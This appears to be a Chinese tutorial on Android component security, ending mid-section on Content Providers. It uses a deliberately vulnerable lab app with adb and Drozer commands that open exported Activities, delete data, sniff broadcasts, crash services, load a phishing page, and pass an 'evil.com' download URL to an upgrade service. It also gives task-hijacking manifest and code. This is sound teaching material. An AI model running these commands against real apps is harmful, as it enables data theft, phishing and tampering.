1 前言

最近准备看看安卓app测试,学习时发现除了web渗透的知识外,app还有独立的攻击面。网上的资料大多从四大组件讲起,但知识点较为分散,且案例较为古老。因此我借助AI编写了测试app,并按照从开发知识到漏洞原理的顺序,对每个组件进行了分析,争取让没接触过安卓的新人也能快速入门。

本文的主要目标:

1、介绍安卓项目的目录结构,Drozer的安装配置,logcat等前置知识

2、介绍Intent,分析Activity、Service、BroadcastReciever、ContentProvider这4个关键组件的作用,基本用法,漏洞类型

3、了解Drozer的用法

相关代码位置:

https://github.com/1diot9/MyAndroidSecStudy/tree/main/ComponentsVulns

https://github.com/1diot9/MyAndroidSecStudy/tree/main/Demo

漏洞apk可以让AI帮忙编译出来。

IDE使用 AndroidStudio2026.2.1。这里以java+gradle项目为例。手机使用mumu模拟器安卓12。sdk版本设置:

2 项目结构简介

app模块结构如下:

cpp放C++文件,后续编译为so链接库,通过JNI调用。一般写加密函数或游戏引擎,也可能写业务代码。

java写控件代码和业务逻辑。现在很多项目也可能用kotlin。

keepRules用来写规则,对代码进行混淆或优化。

res目录放资源文件,activity视图布局文件activity_main.xml和字符串存储文件values/strings.xml等都在里面。

AndroidManifest.xml注册四大组件,一般把这个xml叫做清单,下面标签就代表注册了一个activity,所有静态组件都必须在清单文件中声明:

intent-filter标签中,action为android.intent.action.MAIN所对应的类就是主入口类,一般为MainActivity。加壳后往往会变成S.h.e.l.l等壳入口类,可以用于初步判断apk是否加壳。

activity组件中还有个属性叫android:exported,这个属性决定组件是否导出,这也是很多漏洞存在的基础,后面会经常提到。

3 Drozer配置

Drozer的作用是模拟手机上的恶意应用,能够去调用其他app导出的组件。

windows端zip链接:https://github.com/1diot9/MyAndroidSecStudy/blob/main/drozer/drozer.zip 这个drozer已经让AI修复了输出中文时乱码的问题。

安卓apk:https://github.com/1diot9/MyAndroidSecStudy/blob/main/apks/drozer2.3.4.apk

drozer分客户端和服务端,手机上安装的是服务端,电脑上安装的是客户端,两者通过adb通信。

打开手机上的drozer并启动服务后,进行端口转发:

adb forward tcp:31415 tcp:31415

然后在电脑端drozer目录下找到drozer.bat文件,执行:

drozer.bat console connect

执行help成功就是安装好了:

具体用法在后面复现漏洞时讲。

4 调试方法

最简单的是打印日志到logcat。logcat是安卓自带的日志系统。

在代码中用Log.d就能打印DEBUG级别的日志,第一个参数是TAG,用于筛选日志,第二个参数是实际日志内容:

Log.d("VulnerableExportService", result);

5 其他前置知识

5.1 app的几个版本

在build.gradle.kts中有多个version。

上面的version代表编译apk时,用的是SDK37,也就是安卓17。

下面的minSdk和targetSdk分别代表app本身支持的最老安卓版本和目标安卓版本,这里分别是安卓10和安卓17。

这里尤其需要注意targetSdk,因为部分安全机制生效区分targetSdk和系统安卓版本。就是有些安全机制只有targetSdk足够高才生效,但有些安全机制只要系统版本够高就生效。

常见安卓版本的SDK的对照表:

Android 版本

API 级别 (SDK 版本)

版本代号 (Codename)

Android 16

36

Baklava

Android 15

35

Vanilla Ice Cream

Android 14

34

Upside Down Cake

Android 13

33

Tiramisu

Android 12L

32

Snow Cone v2

Android 12

31

Snow Cone

Android 11

30

Red Velvet Cake

Android 10

29

Quince Tart

Android 9

28

Pie

Android 8.1

27

Oreo

Android 8.0

26

Oreo

Android 7.1

25

Nougat

Android 7.0

24

Nougat

Android 6.0

23

Marshmallow

Android 5.0

21

Lollipop

5.2 清单文件

AndroidManifest.xml称作清单文件,所有组件都要注册到清单中才会生效。

下图注册了一个入口Activity:

5.3 Shared Preference

案例项目中很多结果是通过LabStore这个类保存的,这个类实际上用SharedPreferences保存数据,简单介绍一下。

安卓的 SharedPreferences 是一种轻量级的数据存储方式,专门用于保存少量的键值对(Key-Value) 数据,例如用户的偏好设置、登录状态或游戏高分等。

它本质上是指向应用内部一个 XML 文件的接口,由系统框架管理,安卓7起仅可设为私有(仅本应用可读), MODE_WORLD_READABLE和MODE_WORLD_WRITEABLE会直接抛异常。获取实例主要有三种方式:

1. getSharedPreferences(String name, int mode):最常用。如果你需要多个不同名称的配置文件,或者需要从非 Activity 的 Context 中调用,就用这个。推荐文件名带上应用包名以确保唯一性(如 "com.example.myapp.PREF_FILE")。

2. getPreferences(int mode):如果某个 Activity 只需要一个专属的配置文件,可以直接在 Activity 中调用此方法,无需指定名称。

3. getDefaultSharedPreferences(Context):如果存储的是整个应用的全局设置,建议使用此方法获取默认文件。

本项目中采用了第一种方法获取实例。

写入数据通过Editor对象完成:

1. 调用 edit() 获取 SharedPreferences.Editor。

2. 使用 putString()、putInt()、putBoolean() 等方法存入数据。

3. 调用 apply() 或 commit() 保存。优先使用 apply()。它会立即更新内存,并异步写入磁盘,不会阻塞主线程。commit() 是同步写入,虽然会返回保存是否成功的布尔值,但如果在主线程调用,可能会导致界面卡顿。

xml里的name数据就是键:

5.4 Signature Permission

文章中很多修复方案中会提到给组件添加自定义的sign级别的permission,指定就是这个Signature Permission。签名流程大概是,先计算apk的摘要,然后用私钥加密,并把摘要和公钥证书一起打包进apk。系统安装apk时,先用公钥解密得到摘要,然后再自己重新计算一遍apk的摘要,若两者一致,则说明apk来自同一密钥签名。

6 Activity与Intent

6.1 Activity基本介绍

这部分的代码在:https://github.com/1diot9/MyAndroidSecStudy/tree/main/Demo

Activity(活动)是一个承载用户界面的组件,典型的使用场景有展示登录页、浏览商品列表、编辑表单等。Activity可以由其他Activity或系统启动,即使启动它的组件被销毁,Activity也会通过返回栈继续保留,所以要记得合理管理生命周期。Activity除了直接被启动,也可以通过startActivityForResult 或Activity Result API启动另一个Activity 并拿到返回结果,从而实现页面间的数据回传。Activity 的代码仍然运行在主线程上,和Thread 子线程不一样,不能在其中做耗时操作。

Activity负责apk中的可见页面排版和逻辑。排版文件位于res/layout/*.xml中,IDE中能可视化编辑:

逻辑写在java代码里,如下:

onCreate是一个特殊的方法,在页面刚创建时运行,所有Activity都要重写。

排版xml和具体代码的关联有两种方法,一种是直接手动绑定资源:

setContentView(R.layout.activity_main);

另一种是在gradle配置中开启:

    buildFeatures {
        viewBinding = true
    }

这样就可以在代码中添加binding类,binding类的命名规则为layout/*.xml文件按下划线分段大写:

// 对应layout/activity_main.xml
private ActivityMainBinding binding;

binding = ActivityMainBinding.inflate(getLayoutInflater());
setContentView(binding.getRoot());

本文的案例项目中,都使用第二种方式进行绑定。

这里的binding.statusText对应一个Activity控件(视图控件),其对应控件id为“statusText”,在res/layout/activity_main.xml中注册:

R.string.status_ready是引用res/values/strings.xml里的字符:

这样方便同时修改多处文字。colors.xml等也在同目录。

反编译后的资源位于resources.arsc目录中:

这段代码注册了一个按钮控件,按钮控件通过setOnClickListener设置监听点击事件,同样在activity_main.xml中注册:

Toast.makeText用于弹出文字,除了setOnClickListener,还有setOnLongClickListener等多种监听器。

Toast效果:

SpannableString类用于给整段中的一部分文字设置效果,需要设置起始结束的index,也支持设置各种效果。此方法对应的控件效果如下:

6.2 Intent基本介绍

之后的代码都在:https://github.com/1diot9/MyAndroidSecStudy/tree/main/ComponentsVulns

在分析漏洞之前,必须介绍一下Intent组件。

Intent(意图)是一个用于在组件之间传递消息和请求的组件,典型的使用场景有启动 Activity、启动或绑定 Service、发送广播等。Intent 可以由应用代码显式构造,即使目标组件不在当前应用中,Intent 也能通过系统找到匹配的组件并启动。

Intent 除了显式指定目标组件,也可以通过设置 action、category、data 等属性进行隐式匹配,由系统筛选出合适的组件来处理请求。Intent 本身只是一个消息对象,真正执行跳转和传递数据的是系统框架,和直接调用方法不一样,跨进程时数据需要可序列化。概括一下,Intent的作用就是在组件间传递消息。

可以把 Intent 想成一张字条。一张字条写清楚要做什么,交给系统。系统再去打开某个页面、启动某个服务,或者把广播发出去。

如上图,startActivity(intent) 就是打开另一个视图的常见方法。这里的Intent直接指定了要打开的类,称作显式Intent。

Intent能包含多种信息,如下表:

字段

代码里怎么填

人话

component

new Intent(this, CouponActivity.class) 或 setClassName

收件人是哪一个类。写了它,就是点名打开

action

setAction(Intent.ACTION_VIEW)

要做的动作。链接常用「打开一份数据」

data

setData(uri)

这份数据的地址,例如 deeplink://lab/coupon

category

addCategory(...)

附加分类。浏览器跳进来需要 BROWSABLE

extras

putExtra("url", 网址)

额外塞进去的键值。被打开的页面再用 getStringExtra 取。String也可以为其他的类型,比如Parcelable。

flags

addFlags(...)

附加规则。例如是否带上读某个文件的权限

显式Intent中,component是必填字段,其他都是可选的。

而隐式Intent则不指明具体类,而是通过指定action和category,然后让系统去匹配合适的组件。组件接受哪些action和category,写在清单文件的中:

上图代表EchoActivity接受action=com.example.componentsvulns.action.DEMO_ECHO,category为默认的Intent。用startActivity()发出的隐式Intent,系统会补上CATEGORY_DEFAULT 。隐式Intent只能指定一种action,但是能指定多种category。

清单中还有一个属性android:exported。这个属性决定组件是否导出,即外部应用是否可以把Intent送到这个页面。从 Android 12起,带 intent-filter 的组件必须写明 exported;安卓12前,带intent-filter则默认导出。

intent-filter中还有一个data属性:

当我们在浏览器中输入:componentsvulns://lab/open时,相当于调用了以下代码:

Intent intent = new Intent(Intent.ACTION_VIEW);
intent.addCategory(Intent.CATEGORY_BROWSABLE);
intent.addCategory(Intent.CATEGORY_DEFAULT);
intent.setData(Uri.parse("componentsvulns://lab/open"));
startActivity(intent);

这样就能通过超链接的方式与app进行交互,这就是DeepLink的概念。DeepLink也有单独的漏洞面,这里先不展开,感兴趣可以看看Android中的特殊攻击面(二)——危险的deeplink

data属性中的完整条目:

android:scheme:用于指定数据的协议部分,如https
android:host:用于指定数据的主机名部分,如www.baidu.com
android:port:用于指定数据的端口,一般紧随主机名后
android:path:用于指定数据的路径
android:mimeType:用于指定支持的数据类型

补充一个知识,现在的app很少用自定义的schema进行应用跳转了。因为恶意应用可以注册一个相同的schema,这样跳转时会询问用户选择,可能导致劫持。所以现在一般都用Android App Links,schema固定为https。开发者只需要在清单文件(AndroidManifest.xml)中声明android:autoVerify="true",系统会自动到https://你的域名/.well-known/assetlinks.json抓取文件,并核对里面声明的应用包名和签名证书指纹是否与你安装的应用匹配。只有验证通过,这个域名的链接才会被系统认定为 App Links,从而直接跳转到你的应用。

Intent还有一种字符串形式:

intent:#Intent;component=com.example.deeplink/.AdminActivity;end

读法:

  • 以 intent: 开头,表示后面整段都是一张字条

  • #Intent; 和 ;end 包住中间的字段

  • component=包名/.类名 相当于显式 Intent 里的收件人

Intent.parseUri 把这行字还原成真正的 Intent 对象。

6.3 Activity生命周期与启动模式

Activity的组织是基于任务(Task)的,一个任务包含一组Activity,它们以返回栈的形式排列,后启动的Activity压入栈顶,用户按返回键时,栈顶的Activity弹出并销毁,前一个Activity恢复。

Activity的生命周期如下:

onCreate():Activity 首次创建时触发。这是执行一次性初始化逻辑的地方,如设置布局、绑定数据。它接收一个 savedInstanceState 参数,用于在重建时恢复状态。

onStart():Activity 变为对用户可见时调用。此时界面已准备好,但用户还无法交互。

onResume():Activity 来到前台并获得焦点,用户可以开始交互。这是应用处于活跃状态的标志。

onPause():系统即将启动或恢复另一个 Activity 时调用。通常用于释放不应在后台运行的资源(如相机)。此时 Activity 可能仍部分可见(如多窗口模式)。

onStop():Activity 完全不可见时调用。用于释放几乎所有非必要资源。

onDestroy():Activity 被销毁前调用。这是资源清理的最后机会。

当 Activity 从停止状态回到前台时,会先调用 onRestart(),再依次进入 onStart() 和 onResume()。

Activity一共有四种启动模式:

standard:默认模式。每次启动动创建新的Activity实例。

singleTop:栈顶复用。如果目标 Activity 已经位于当前任务栈的栈顶,则不创建新实例,而是回调 onNewIntent()。如果它不在栈顶,行为就和 standard 一样,创建新实例。

singleTask:任务内单实例。系统会寻找是否存在包含该 Activity 实例的任务栈。如果找到了,就把整个任务栈带到前台,并清除该实例之上的所有其他 Activity,然后回调 onNewIntent()。此模式在Activity劫持中会遇到。

singleInstance:全局单实例且独占任务栈。它和 singleTask 类似,但更严格:该 Activity 所在的任务栈中只能有它自己。任何由它启动的其他 Activity 都会被放入另一个独立的任务栈中。

上面多次提到了onNewIntent,简单介绍一下:

当一个 Activity 因为启动模式(如 singleTop 或 singleTask)或 Intent 标志(如 FLAG_ACTIVITY_SINGLE_TOP)的设置,没有创建新实例,而是复用了已有的实例时,系统就会调用这个已有实例的 onNewIntent() 方法,把新的 Intent 传给它。

使用时有几个要点需要注意:
不会重新创建:Activity 不会走 onCreate,所以初始化逻辑通常需要抽取出来,让 onCreate 和 onNewIntent 共用。
getIntent() 返回旧值:直接调用 getIntent() 拿到的仍是最初创建该 Activity 时的 Intent。因此,通常需要在 onNewIntent 里调用 setIntent(intent) 来更新它,否则后续拿到的数据会是旧的。

案例app里也演示了这四种模式:

可以看到,standard模式每次都启动了一个新的界面,实例序号也在递增。

singleTop和singleTask的实例序号都没有递增,只有onNewIntent递增,且taskId保持为48.

singleInstance每次启动都会让taskId递增,说明新开了任务。

Activity还可以通过StartActivityForResult获取被打开的Activity返回的结果。这个在防御Activity劫持中有作用。

先注册回调对象:

然后用回调对象启动新的Activity:

在新的Activity中使用setResult设置结果,finish主动结束:

这样就能在原Activity中接受到信息:

6.4 漏洞分析

6.4.1 越权绕过

一个隐私界面可能需要输入卡密才能访问,但清单中却配置了exported=true或intent-filter,这使得能直接绕过卡密访问隐私页面。

案例是SecretNoteActivity:

原本设计成在LoginActivity输入密码才能访问,但由于exported=true,因此可以直接从外部打开。

可以通过adb直接调用:

adb shell am start -n com.example.componentsvulns/.activity.SecretNoteActivity

也可以通过drozer打开。

这里演示一下drozer的常见用法。

先列出所有的app包:

run app.package.list -n

然后查询攻击面,可以查到哪些组件导出:

run app.package.attacksurface com.example.componentsvulns

接着查询具体的activity信息:

run app.activity.info -a com.example.componentsvulns

由于没有权限要求,所以可以直接启动(需要确保drozer在前台):

run app.activity.start --component com.example.componentsvulns.activity.SecretNoteActivity

关于为什么drozer要在前台,因为 >=安卓10中,系统不允许后台应用启动Activity,会有以下报凑:

后续演示都使用drozer,更贴近实战中的恶意应用。

6.4.2 Activity劫持

先介绍一个概念叫taskAffinity。

在正常的 Android 设计中,每个应用默认有自己的任务栈TaskRecord(以包名区分)。但 Activity 的 taskAffinity(任务相关性) 属性允许开发者指定它“倾向”属于哪个任务栈。攻击者正是利用了这一点:恶意应用可以在自己的 Activity 上,将 taskAffinity 伪装成受害应用的包名,并配合 launchMode="singleTask" 使用。从而将恶意Activity的归属设置为受害应用,并覆盖到顶部。

劫持逻辑如下:

先创建恶意应用清单文件:

<!-- 恶意应用 AndroidManifest.xml 片段 -->
<activity
    android:name=".HijackActivity"
    android:exported="true"
    android:taskAffinity="com.victim.secureapp"   <!-- 伪装成受害应用的包名 -->
    android:launchMode="singleTask" />             <!-- 声明任务栈中唯一实例 -->

然后后台启动恶意Activity:

public class MainActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        // 1. 启动伪装成受害应用的任务栈
        Intent intent = new Intent(this, HijackActivity.class);
        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        startActivity(intent);
        
        // 2. 把恶意应用自己的任务退到后台,隐藏痕迹
        moveTaskToBack(true);
    }
}

由于恶意 Activity 已经提前创建了一个 affinity 为 com.victim.secureapp 的任务栈并留在后台,系统认为“这个任务已经存在”,于是将受害者的 Activity 放入该任务栈,或者直接把已有的那个任务栈(栈顶是恶意 HijackActivity)带到前台,这是singleTask启动的Activity的特点:

singleTask:任务内单实例。系统会寻找是否存在包含该 Activity 实例的任务栈。如果找到了,就把整个任务栈带到前台,并清除该实例之上的所有其他 Activity,然后回调 onNewIntent()。

劫持一般配合进程扫描,触发次数限制,开机自启等技巧提高成功率和隐蔽性。

此外还有一种方法,直接添加allowTaskReparenting属性,让Activity直接在任务栈之间迁移:

当启动包名为com.google.android.gm的应用时,恶意Activity就会移动到目标应用的栈顶,让用户看到恶意页面。

然而,劫持漏洞在较新的安卓版本中很难利用。

  1. >=安卓10时,由于系统通常禁止后台应用启动Activity(上面一节讲过),基于监听进程并后台启动Activity劫持就很难实现了

  1. Android 11 的修复(CVE-2020-0267)改变了任务 affinity 的匹配逻辑。系统现在会在 affinity 字符串中附加声明该 Activity 的应用的 UID。例如,恶意应用声明的 taskAffinity="com.victim.secureapp" 在系统中实际被存储为类似 10312:com.victim.secureapp,而受害者自己的 Activity 是 10311:com.victim.secureapp。两者字符串不相等,系统就不会复用恶意应用的任务栈,而是为受害者创建一个全新的任务。至此,基于taskAffinity的劫持也修复了。

MUMU模拟器中能创建的最低版本为安卓12,所以这里没法进行演示,有条件的读者可以自行复现,可参考:

所按非所得——聊一聊StandHogg漏洞

https://bbs.kanxue.com/thread-269211-1.htm#msg_header_h3_3

6.4.3 隐式Intent信息泄露

由于隐式Intent由系统匹配接收者,所以可能匹配到意图之外的应用,此时若Intent内有敏感信息,就会造成信息泄露。这一漏洞适用于所有隐式Intent。

在Activity情况下,若隐式Intent匹配到多个应用,系统会弹出选择框,故利用条件苛刻。除非用户之前已设置了默认应用。

6.4.4 拒绝服务

拒绝服务的根因都是出现了报错,且没有做捕获逻辑。

所有组件的漏洞原理都是一样的,演示也类似。

案例DosActivity:

payload 缺失时,payload.length()抛出 NullPointerException,会触发崩溃。count 的运行时类型是 String 时,count getIntExtra抛出ClassCastException,最终会被android.os.BaseBundle#getInt(java.lang.String, int)捕获,所以类型转化错误不会导致崩溃:

run app.activity.start --component com.example.componentsvulns com.example.componentsvulns.activity.DosActivity --extra integer count 123

7 Service

7.1 基本介绍

Service(服务)是一个可以在后台长期运行的组件,典型的使用常见有后台播放音乐,实时录屏录音,步数采集等。Service可以由Activity启动,即使Activity被销毁,Service还是会继续运行,所以要记得手动停止Service。Activity除了直接启动Service,也可以通过bindService的方式绑定服务,拿到服务对象的实例,从而实现远程方法调用(感觉和RMI有点像?)。Service仍然运行在主线程上,和Thread子线程不一样。

一个Service类的例子如下:

先看底下的三个方法:

onCreate()方法会在服务创建的时候调用

onStartCommand()方法会在每次服务启动的时候调用

onDestroy()会在服务销毁的时候调用

通常我们希望在服务启动立刻执行某个动作,就会在onStartCommand()里

上面的LocalBinder子类,是bindService时用到的。当绑定时,会通过onBind拿到binder对象,然后调用binder.getService就能拿到Service对象,进而调用Service内的业务方法。

讲完了Service怎么创建,现在了解Service怎么调用。

第一种是直接startService:

特点是只启动,拿不到后续的结果,也没法调用方法。

也可以手动构造Intent:

(1)使用Action启动(隐式)
Intent intent = new Intent(); //Intent intent = new Intent("活动")
intent.setAction("XXX"); //service中定义的action
intent.setPackage(getPackageName); //需要设置的应用包名
startService(intent);

(2)使用包名启动(显式,指定了具体包和类)
Intent intent = new·Intent();
ComponentName componentName = new ComponentName("com.example","com.example.testservices.TestService");
intent.setComponent(componentName);
startService(intent);

第二种是bindService:

这里先创建ServiceConnection,并重写onServiceConnected方法,在这个方法里就能调用Service中的方法。然后再调用bindService绑定具体Service。绑定完成后,此时onServiceConnected才被真正回调执行。当使用完毕后,再调用unbindService停止服务。

另外,onServiceDisconnected方法只在连接意外丢失时回调,比如Service进程崩溃,正常unbindService时不会触发,所以不要在这里做解绑逻辑。

上面的绑定是同进程内绑定,即在同一个app内。Service也支持跨app绑定,但绑定方式有变化,需要先定义AIDL文件,如下:

由于跨进程无法直接强转类型,所以需要先定义AIDL文件,然后再创建服务。

最后来看看Service的清单文件配置。

重点看有注释的就行。

<service
    android:name=".MyService"
    android:enabled="true"
    android:exported="true"		// Service是否导出
    android:icon="@drawable/ic_service"
    android:label="@string/service_label"
    android:description="@string/service_desc"
    android:permission="com.example.permission.BIND_MY_SERVICE"		// 调用Service所需的权限
    android:process=":remote"
    android:isolatedProcess="false"
    android:directBootAware="true"
    android:foregroundServiceType="mediaPlayback|dataSync|location"	// 前台服务类型,安卓10引入,安卓14起必须声明
    android:stopWithTask="false"
    android:externalService="false"
    android:visibleToInstantApps="false"
    android:useAppZygote="false">

    <intent-filter>
        <action android:name="com.example.action.MY_SERVICE" /> // 服务对应的动作,隐式调用Service时生效
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>

    <meta-data
        android:name="com.example.meta.key"
        android:value="some_value" />
</service>

7.2 漏洞分析

当一个Service被导出且没有做严格限制时,任何app都能去启动并绑定到这个服务。实际产生的危害取决于这个服务被启动后产生的效果,以及绑定后能执行哪些方法。

其实还是看传入的Intent在业务代码中能造成哪些危害,就跟Web里的参数点一样。

7.2.1 权限提升

当service导出不当,能够被其他app直接调用或绑定时,其他app就能直接调用服务,相当于其他app有了额外的权限。

案例是VulnerableExportService:

此service接收intent中的额外参数command,并以此决定操作。这里模拟其他app调用服务,从而读取到信息或删除数据。

这里先用adb演示:

adb shell am start-service -n com.example.componentsvulns/.service.VulnerableExportService --es command dump

--es用来添加额外参数,e代表extra,s代码参数类型为string

然后用drozer模拟:

run app.service.start --component com.example.componentsvulns com.example.componentsvulns.service.VulnerableExportService --extra string command dump

上面成功直接调用服务,读取到了信息。删除过程一样,不演示了。

当然,我们也可以自己写一个app去调用,关键代码如下:

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.example.componentsvulns", "com.example.componentsvulns.service.VulnerableExportService"))
startService(intent);

7.2.2 消息劫持

当导出的Service要接受外部的Intent时,若构造恶意的Intent,被调用的Service可能产生安全问题。

案例是UpgradeService,模拟app升级服务:

这里直接接受外部Intent中的download_url字段当作升级url,会导致从攻击者的url下载恶意的更新包。

run app.service.start --component com.example.componentsvulns com.example.componentsvulns.service.UpgradeService --extra string download_url evil.com

老版本的优酷也存在此漏洞,原因是StartActivityService对外导出,且会将Intent内的PushMsg中的URL取出,并启动UpdateActivity弹出更新提示,由于没有对URL做校验,导致允许从任意地址下载apk,诱导用户安装。

StartActivityService:

这里编写了利用代码进行复现:

7.2.3 Service劫持

当只指定action,即隐式调用Service时,可能会出现多个应用都有接受此Intent的Service,此时系统会比较android:priority属性,若属性相同,则优先调用先安装应用的service。不过应用的targetSdk>=21(安卓5)时,隐式调用Service就会报错了,所以实战中基本没用,这里不展开了。

7.2.4 拒绝服务

当Service的代码没有做完备的异常捕获时,若抛出报错,就可能导致Service崩溃。

例子DosService:

payload 缺失时,{@code String.length()} 抛出 NullPointerException。count 的运行时类型是 String 时,{@code getIntExtra} 抛出 ClassCastException。

run app.service.start --component com.example.componentsvulns com.example.componentsvulns.service.DosService --extra integer count 1

run app.service.start --component com.example.componentsvulns com.example.componentsvulns.service.DosService --extra string count test

7.3 注意点

  1. 安卓5及以上不允许隐式bindService,会直接报错

  1. >=安卓8时,不允许跨应用后台启动Service(如drozer启动其他app的service),adb shell除外。系统报错如下:

8 BroadCast Receiver

8.1 基本介绍

应用能够注册广播接收器(BroadCast Receiver),用于接收广播发布者发布的广播,并在接收广播后调用onReceive方法。广播接收器支持在清单文件中静态注册,也支持在代码中动态注册。导出的广播接收器通过intent-filter和permission过滤想要接收的消息。广播有多种类型,比如有序广播、系统广播、应用内广播等。

一个静态注册的接收器:

静态注册时,可以通过在intent-filter中添加action和在receiver标签中添加permission来过滤广播。

一个动态注册的接收器,先编写接收器代码:

然后注册:

动态注册时,通过IntentFilter来设置过滤条件:

permission在注册时添加:

// 要求发送者必须持有 SENDER_PERM(对应静态的 android:permission)
IntentFilter filter = new IntentFilter("com.example.ACTION");
registerReceiver(myReceiver, filter, "com.example.SENDER_PERM", null);
//                                       ↑ broadcastPermission

有序广播会对接收器设置优先级priority,优先级高的先接收广播,并设置处理结果,然后传递给下一级接收器,也可以调用abortBroadcast终止。

有序广播调用sendOrderedBroadcast发送:

private void sendOrdered() {
        Intent intent = new Intent(ACTION_ORDERED);
        intent.setPackage(getPackageName()); // 限制只发给本应用,安全
        intent.putExtra("msg", "原始消息");

        // 方式1:最简形式(无权限)
        // sendOrderedBroadcast(intent, null);

        // 方式2:带接收者权限 + resultReceiver 接收最终结果
        // 参数依次:intent, receiverPermission, resultReceiver, scheduler,
        //          initialCode, initialData, initialExtras
        sendOrderedBroadcast(
                intent,
                null,                        // receiverPermission:接收方需持有的权限
                new BroadcastReceiver() {    // resultReceiver:所有接收者处理完后回调
                    @Override
                    public void onReceive(Context context, Intent intent) {
                        String data = getResultData();     // 最终 data
                        int code = getResultCode();        // 最终 code
                        Bundle extras = getResultExtras(true);
                        Log.d("Sender", "最终结果 code=" + code
                                + ", data=" + data
                                + ", extra=" + (extras != null ? extras.getString("extra") : null));
                    }
                },
                null,                        // scheduler:Handler,null 表示主线程
                0,                           // initialCode:初始结果码
                "initial-data",              // initialData:初始结果数据
                null                         // initialExtras:初始附加数据
        );
    }

接收器注册时需要设置priority:

<receiver android:name=".ReceiverA"
    android:exported="false">
    <intent-filter android:priority="100">
        <action android:name="com.example.ACTION_ORDERED" />
    </intent-filter>

</receiver>

<receiver android:name=".ReceiverB"
    android:exported="false">
    <intent-filter android:priority="50">
        <action android:name="com.example.ACTION_ORDERED" />
    </intent-filter>

</receiver>

动态注册的话,只需要intentFilter.setPriority就行:

IntentFilter filterA = new IntentFilter("com.example.ACTION_ORDERED");
filterA.setPriority(100);
receiverA = new ReceiverA();
registerReceiver(receiverA, filterA);

接收者的代码:

public class ReceiverA extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String msg = intent.getStringExtra("msg");
        Log.d("ReceiverA", "收到: " + msg + ", priority=100");

        // 修改结果数据,后面的接收者能读到
        setResultCode(200);
        setResultData("A 已处理");
        Bundle b = getResultExtras(true); // true=不存在则创建
        b.putString("extra", "来自A的附加数据");

        // 如果想终止广播(后续接收者收不到):
        // abortBroadcast();
    }
}
public class ReceiverB extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String msg = intent.getStringExtra("msg");
        Log.d("ReceiverB", "收到: " + msg + ", priority=50");

        // 读取上一个接收者修改后的结果
        int code = getResultCode();          // 200(A 设置的)
        String data = getResultData();       // "A 已处理"
        Bundle b = getResultExtras(false);
        String extra = (b != null) ? b.getString("extra") : null;

        Log.d("ReceiverB", "上游结果 code=" + code + ", data=" + data + ", extra=" + extra);

        // B 再修改
        setResultData("B 已处理");
    }
}

应用内广播只允许应用内发送和接收,更加安全;应用内广播只允许动态创建。

代码案例如下:

LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(context);

// 1. 创建接收器
BroadcastReceiver localReceiver = new BroadcastReceiver() {
    @Override
    public void onReceive(Context context, Intent intent) {
        if ("com.example.MY_LOCAL_ACTION".equals(intent.getAction())) {
            String data = intent.getStringExtra("data_key");
            // 在此处理接收到的数据(例如更新UI)
        }
    }
};

// 2. 创建过滤器并注册
IntentFilter filter = new IntentFilter("com.example.MY_LOCAL_ACTION");
localBroadcastManager.registerReceiver(localReceiver, filter);

// 1. 构建 Intent(Action 必须与接收器过滤器一致)
Intent intent = new Intent("com.example.MY_LOCAL_ACTION");
intent.putExtra("data_key", "这是应用内传输的数据");

// 2. 发送本地广播
localBroadcastManager.sendBroadcast(intent);

8.2 漏洞分析

8.2.1 信息泄露

当发送的广播中携带敏感数据,且仅通过action匹配接收器时,攻击者可以注册接收器来获取广播内的信息。

漏洞很好理解,看个简单例子:

当limited=false时,广播不带package包名,因此所有设置了此action的接收器都可以收到。

可以通过drozer来捕获,只不过中文会乱码,需要重新按UTF8解码:

run app.broadcast.sniff --action com.example.componentsvulns.action.SECRET_BROADCAST

修复也很简单,发送广播时设置包名(系统会拒绝安装同包名的应用),或者设置了sign级别的permission就行。

后续让AI修复了drozer乱码的问题:

8.2.2 权限绕过

这跟Service里的权限提升其实是一个东西,都是导出的组件没做好约束,导致接收了恶意的调用,从而产生危害。

案例是VulnerableCommandReceiver:

用drozer发出广播,执行delete命令清空笔记:

run app.broadcast.send --action com.example.componentsvulns.action.NOTE_COMMAND --component com.example.componentsvulns com.example.componentsvulns.receiver.VulnerableCommandReceiver --extra string command delete

用Service组件演示里的读笔记功能查看执行前后的笔记内容,发现执行后笔记被删除:

修复的话,非必要不要导出广播,导出的话要加上sign级别的permission校验。

8.2.3 消息伪造

和上面的权限绕过是相同的原理。

案例是ForgedMessageReceiver:

这里通过webview加载url。这里通过

web.addJavascriptInterface(new LabPin(), "LabPin");

把LabPin对象注册到了JS中,这样JS界面能够调用window.LabPin.pin(),实现调用Java方法。

用drozer伪造广播,加载钓鱼界面:

run app.broadcast.send --action com.example.componentsvulns.action.FORGED_MESSAGE --component com.example.componentsvulns com.example.componentsvulns.receiver.ForgedMessageReceiver --extra string title TestPage --extra string body xxx123 --extra string url http://192.168.1.3:7778/pfish.html

记得申请网络权限,不然无法加载外部网站:

8.2.4 拒绝服务

同Service和Activity,不展开了。

9 Content Provider

9.1 基本介绍

安卓的应用运行在各自的沙箱里,只能访问自身的数据。而Content Provider提供了同一的接口,能够把应用内数据暴露出去,供其他应用通过Content Resolver进行访问和操作。Content Provider只充当中间人的作用,真正的数据还是来自于数据库,文件,XML等。

Content Resolver通过URI的形式操作数据,数据在Provider内以表的形式存在,一个典型的URI如下:

content://是固定的。授权信息是Provider自己设置的,一般是包名.xxx:

表名是代码中自定义的,一般都会在具体方法中把这一段取出来,然后做具体处理,比如用UriMatcher做匹配,可以参考下面这部分Provider的代码:

private static final int BOOKS = 1;
private static final int BOOK_ID = 2;
private static final UriMatcher sUriMatcher = new UriMatcher(UriMatcher.NO_MATCH);

static {
    // 匹配整张表 content://com.example.myapp.provider/books
    sUriMatcher.addURI(BookContract.AUTHORITY, BookContract.PATH_BOOKS, BOOKS);
    // 匹配单条记录 content://com.example.myapp.provider/books/1
    sUriMatcher.addURI(BookContract.AUTHORITY, BookContract.PATH_BOOKS + "/#", BOOK_ID);
}

// *:表示匹配任意长度的任意字符
// #:表示匹配任意长度的数字

addURI的第三个参数代表匹配时的返回值,起到switch的效果,根据不同的URI做不同的数据库操作,下面的query方法就根据URI决定了是做BOOKS整表的查询,还是做BOOK_ID单数据的查询:

    @Override
